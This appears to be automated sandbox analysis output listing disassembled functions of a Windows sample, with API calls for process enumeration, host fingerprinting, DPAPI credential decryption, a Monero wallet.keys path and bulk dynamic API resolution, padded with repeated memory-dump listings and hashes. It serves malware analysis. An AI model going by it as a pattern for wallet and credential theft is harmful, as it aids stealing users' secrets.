Instruction ID: 51edd32ee8886cc5ab5819548d7bb0ef0407cd604d1f76a1d7023978bcf78ea6
Opcode Fuzzy Hash: b7dabe977aeced06a28e72c3fa8468077c1cb4fa0894d86cf73c87a2a892cbe2
Instruction Fuzzy Hash: E0011E75A01208EBCB14DFA5CD58BEDB7F9EF48300F144189A90597280DB749B40EF65

Function 00DA8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00DB05B7), ref: 00DA86CA
Process32First.KERNEL32(?,00000128), ref: 00DA86DE
Process32Next.KERNEL32(?,00000128), ref: 00DA86F3

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

CloseHandle.KERNEL32(?), ref: 00DA8761

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 102dff628035e661490916b80fb9b04b952425e759c38b61896922197f3869e1
Instruction ID: e538502ee51c94015a6f934ee8703ee58d49cb512a41472c9db1c04603aa10a0
Opcode Fuzzy Hash: 102dff628035e661490916b80fb9b04b952425e759c38b61896922197f3869e1
Instruction Fuzzy Hash: 9E314871901218ABCB64EF68CC45FEEB778EF46700F10469AE50AA21A0DB346A45CFB1

Function 00DA7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0194E908,00000000,?,00DB0E10,00000000,?,00000000,00000000), ref: 00DA7A63
RtlAllocateHeap.NTDLL(00000000), ref: 00DA7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0194E908,00000000,?,00DB0E10,00000000,?,00000000,00000000,?), ref: 00DA7A7D
wsprintfA.USER32 ref: 00DA7AB7

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 34253f2064f4d2583e2d0a891aa03cc364477c608e16c3ea7e193b861b8ada4c
Instruction ID: cbbf863194f8d2ebf78bebaab4b0bc03529844d4f5fa625f65390071db17431e
Opcode Fuzzy Hash: 34253f2064f4d2583e2d0a891aa03cc364477c608e16c3ea7e193b861b8ada4c
Instruction Fuzzy Hash: A61182B1946228EFDB108F64DC45F9AB778F705711F104396E90A932C0C7745A44DF61

Function 00D99B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00D99B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00D99BA3
LocalFree.KERNEL32(?), ref: 00D99BD3

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b59411b0e5ea1ff7f501a2af018d1b2a0327de4bdd4e4e4e01f7ead9cac78333
Instruction ID: 92838907dcb6229e66d65ff354443480593273613ac2392d7c970b945e3fe46e
Opcode Fuzzy Hash: b59411b0e5ea1ff7f501a2af018d1b2a0327de4bdd4e4e4e01f7ead9cac78333
Instruction Fuzzy Hash: F411FAB8A01209DFCB04DFA8D985AAEB7B5FF88300F104559E91597350D774AE10CF61

Function 00DA78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DA7910
RtlAllocateHeap.NTDLL(00000000), ref: 00DA7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00DA792F

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 219d2cf10e7bfbc75f2caa28cf548fe7fd2c06a2d3adb20cbf65a253d181d29d
Instruction ID: a824bded3476a72cb6f08b2325650cbc1bae7c026e9e442cfda8857d3c417c84
Opcode Fuzzy Hash: 219d2cf10e7bfbc75f2caa28cf548fe7fd2c06a2d3adb20cbf65a253d181d29d
Instruction Fuzzy Hash: 13016DB1A04208EFC710DF98DD45BABFBB8FB05B21F10421AEA45A3280C77459049BA5

Function 00DA7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D911B7), ref: 00DA7880
RtlAllocateHeap.NTDLL(00000000), ref: 00DA7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00DA789F

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 9b5bdcc1b49acbbcf4a949c7f0f3dca85c975e7f5c11aa4609caa58304e47cd6
Instruction ID: 46677b93e08f3c0a01c2d94709793c254eefcbf2a5b55ea30d5108c1c8c14ba4
Opcode Fuzzy Hash: 9b5bdcc1b49acbbcf4a949c7f0f3dca85c975e7f5c11aa4609caa58304e47cd6
Instruction Fuzzy Hash: 78F04FB1944208AFC700DF98DD49BAEBBB8EB05711F10025AFA05A2680C77855048BA1

Function 00D91160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00D9116A
ExitProcess.KERNEL32 ref: 00D9117E

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 45fbc95f5f869b49da32b0d50d37826a1a07ef5be2b8bee608a3b48ac1cdd901
Instruction ID: 6798e04f3a732bb23237d59f7a4c164cc330bc4513e67d2aa968e03ab1c95aca
Opcode Fuzzy Hash: 45fbc95f5f869b49da32b0d50d37826a1a07ef5be2b8bee608a3b48ac1cdd901
Instruction Fuzzy Hash: 20D05E7490130CDBCB00DFF0D8496DDBBB9FB08312F000695DD0572340EA305481CAAA

Function 00DA9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(756D0000,019377A8), ref: 00DA9C2D
GetProcAddress.KERNEL32(756D0000,01937848), ref: 00DA9C45
GetProcAddress.KERNEL32(756D0000,0194A068), ref: 00DA9C5E
GetProcAddress.KERNEL32(756D0000,0194A0C8), ref: 00DA9C76
GetProcAddress.KERNEL32(756D0000,0194A020), ref: 00DA9C8E
GetProcAddress.KERNEL32(756D0000,0194A038), ref: 00DA9CA7
GetProcAddress.KERNEL32(756D0000,0193C1C0), ref: 00DA9CBF
GetProcAddress.KERNEL32(756D0000,0194DA78), ref: 00DA9CD7
GetProcAddress.KERNEL32(756D0000,0194DBB0), ref: 00DA9CF0
GetProcAddress.KERNEL32(756D0000,0194DC10), ref: 00DA9D08
GetProcAddress.KERNEL32(756D0000,0194DC28), ref: 00DA9D20
GetProcAddress.KERNEL32(756D0000,01937868), ref: 00DA9D39
GetProcAddress.KERNEL32(756D0000,019377C8), ref: 00DA9D51
GetProcAddress.KERNEL32(756D0000,01937888), ref: 00DA9D69
GetProcAddress.KERNEL32(756D0000,019378A8), ref: 00DA9D82
GetProcAddress.KERNEL32(756D0000,0194DB50), ref: 00DA9D9A
GetProcAddress.KERNEL32(756D0000,0194DB80), ref: 00DA9DB2
GetProcAddress.KERNEL32(756D0000,0193C080), ref: 00DA9DCB
GetProcAddress.KERNEL32(756D0000,019375A8), ref: 00DA9DE3
GetProcAddress.KERNEL32(756D0000,0194DAF0), ref: 00DA9DFB
GetProcAddress.KERNEL32(756D0000,0194DB68), ref: 00DA9E14
GetProcAddress.KERNEL32(756D0000,0194DBC8), ref: 00DA9E2C
GetProcAddress.KERNEL32(756D0000,0194DA90), ref: 00DA9E44
GetProcAddress.KERNEL32(756D0000,019375C8), ref: 00DA9E5D
GetProcAddress.KERNEL32(756D0000,0194DB08), ref: 00DA9E75
GetProcAddress.KERNEL32(756D0000,0194DBE0), ref: 00DA9E8D
GetProcAddress.KERNEL32(756D0000,0194DB98), ref: 00DA9EA6
GetProcAddress.KERNEL32(756D0000,0194DAA8), ref: 00DA9EBE
GetProcAddress.KERNEL32(756D0000,0194DBF8), ref: 00DA9ED6
GetProcAddress.KERNEL32(756D0000,0194DAC0), ref: 00DA9EEF
GetProcAddress.KERNEL32(756D0000,0194DAD8), ref: 00DA9F07
GetProcAddress.KERNEL32(756D0000,0194DB20), ref: 00DA9F1F
GetProcAddress.KERNEL32(756D0000,0194DB38), ref: 00DA9F38
GetProcAddress.KERNEL32(756D0000,0194AD00), ref: 00DA9F50
GetProcAddress.KERNEL32(756D0000,0194D5B0), ref: 00DA9F68
GetProcAddress.KERNEL32(756D0000,0194D4D8), ref: 00DA9F81
GetProcAddress.KERNEL32(756D0000,01937648), ref: 00DA9F99
GetProcAddress.KERNEL32(756D0000,0194D6B8), ref: 00DA9FB1
GetProcAddress.KERNEL32(756D0000,019373A8), ref: 00DA9FCA
GetProcAddress.KERNEL32(756D0000,0194D508), ref: 00DA9FE2
GetProcAddress.KERNEL32(756D0000,0194D520), ref: 00DA9FFA
GetProcAddress.KERNEL32(756D0000,01937308), ref: 00DAA013
GetProcAddress.KERNEL32(756D0000,019372A8), ref: 00DAA02B
LoadLibraryA.KERNEL32(0194D568,?,00DA5CA3,00DB0AEB,?,?,?,?,?,?,?,?,?,?,00DB0AEA,00DB0AE3), ref: 00DAA03D
LoadLibraryA.KERNEL32(0194D550,?,00DA5CA3,00DB0AEB,?,?,?,?,?,?,?,?,?,?,00DB0AEA,00DB0AE3), ref: 00DAA04E
LoadLibraryA.KERNEL32(0194D6A0,?,00DA5CA3,00DB0AEB,?,?,?,?,?,?,?,?,?,?,00DB0AEA,00DB0AE3), ref: 00DAA060
LoadLibraryA.KERNEL32(0194D730,?,00DA5CA3,00DB0AEB,?,?,?,?,?,?,?,?,?,?,00DB0AEA,00DB0AE3), ref: 00DAA072
LoadLibraryA.KERNEL32(0194D4F0,?,00DA5CA3,00DB0AEB,?,?,?,?,?,?,?,?,?,?,00DB0AEA,00DB0AE3), ref: 00DAA083
LoadLibraryA.KERNEL32(0194D538,?,00DA5CA3,00DB0AEB,?,?,?,?,?,?,?,?,?,?,00DB0AEA,00DB0AE3), ref: 00DAA095
LoadLibraryA.KERNEL32(0194D610,?,00DA5CA3,00DB0AEB,?,?,?,?,?,?,?,?,?,?,00DB0AEA,00DB0AE3), ref: 00DAA0A7
LoadLibraryA.KERNEL32(0194D490,?,00DA5CA3,00DB0AEB,?,?,?,?,?,?,?,?,?,?,00DB0AEA,00DB0AE3), ref: 00DAA0B8
GetProcAddress.KERNEL32(76430000,01937428), ref: 00DAA0DA
GetProcAddress.KERNEL32(76430000,0194D748), ref: 00DAA0F2
GetProcAddress.KERNEL32(76430000,01949560), ref: 00DAA10A
GetProcAddress.KERNEL32(76430000,0194D6E8), ref: 00DAA123
GetProcAddress.KERNEL32(76430000,01937448), ref: 00DAA13B
GetProcAddress.KERNEL32(6FC80000,0193C0A8), ref: 00DAA160
GetProcAddress.KERNEL32(6FC80000,019371A8), ref: 00DAA179
GetProcAddress.KERNEL32(6FC80000,0193C210), ref: 00DAA191
GetProcAddress.KERNEL32(6FC80000,0194D6D0), ref: 00DAA1A9
GetProcAddress.KERNEL32(6FC80000,0194D4A8), ref: 00DAA1C2
GetProcAddress.KERNEL32(6FC80000,01937328), ref: 00DAA1DA
GetProcAddress.KERNEL32(6FC80000,01937208), ref: 00DAA1F2
GetProcAddress.KERNEL32(6FC80000,0194D670), ref: 00DAA20B
GetProcAddress.KERNEL32(75460000,01937348), ref: 00DAA22C
GetProcAddress.KERNEL32(75460000,019373C8), ref: 00DAA244
GetProcAddress.KERNEL32(75460000,0194D580), ref: 00DAA25D
GetProcAddress.KERNEL32(75460000,0194D658), ref: 00DAA275
GetProcAddress.KERNEL32(75460000,019371C8), ref: 00DAA28D
GetProcAddress.KERNEL32(76A50000,0193BF90), ref: 00DAA2B3
GetProcAddress.KERNEL32(76A50000,0193BF18), ref: 00DAA2CB
GetProcAddress.KERNEL32(76A50000,0194D5C8), ref: 00DAA2E3
GetProcAddress.KERNEL32(76A50000,01937528), ref: 00DAA2FC
GetProcAddress.KERNEL32(76A50000,019374C8), ref: 00DAA314
GetProcAddress.KERNEL32(76A50000,0193BDD8), ref: 00DAA32C
GetProcAddress.KERNEL32(76050000,0194D760), ref: 00DAA352
GetProcAddress.KERNEL32(76050000,01937268), ref: 00DAA36A
GetProcAddress.KERNEL32(76050000,019495E0), ref: 00DAA382
GetProcAddress.KERNEL32(76050000,0194D5E0), ref: 00DAA39B
GetProcAddress.KERNEL32(76050000,0194D718), ref: 00DAA3B3
GetProcAddress.KERNEL32(76050000,01937508), ref: 00DAA3CB
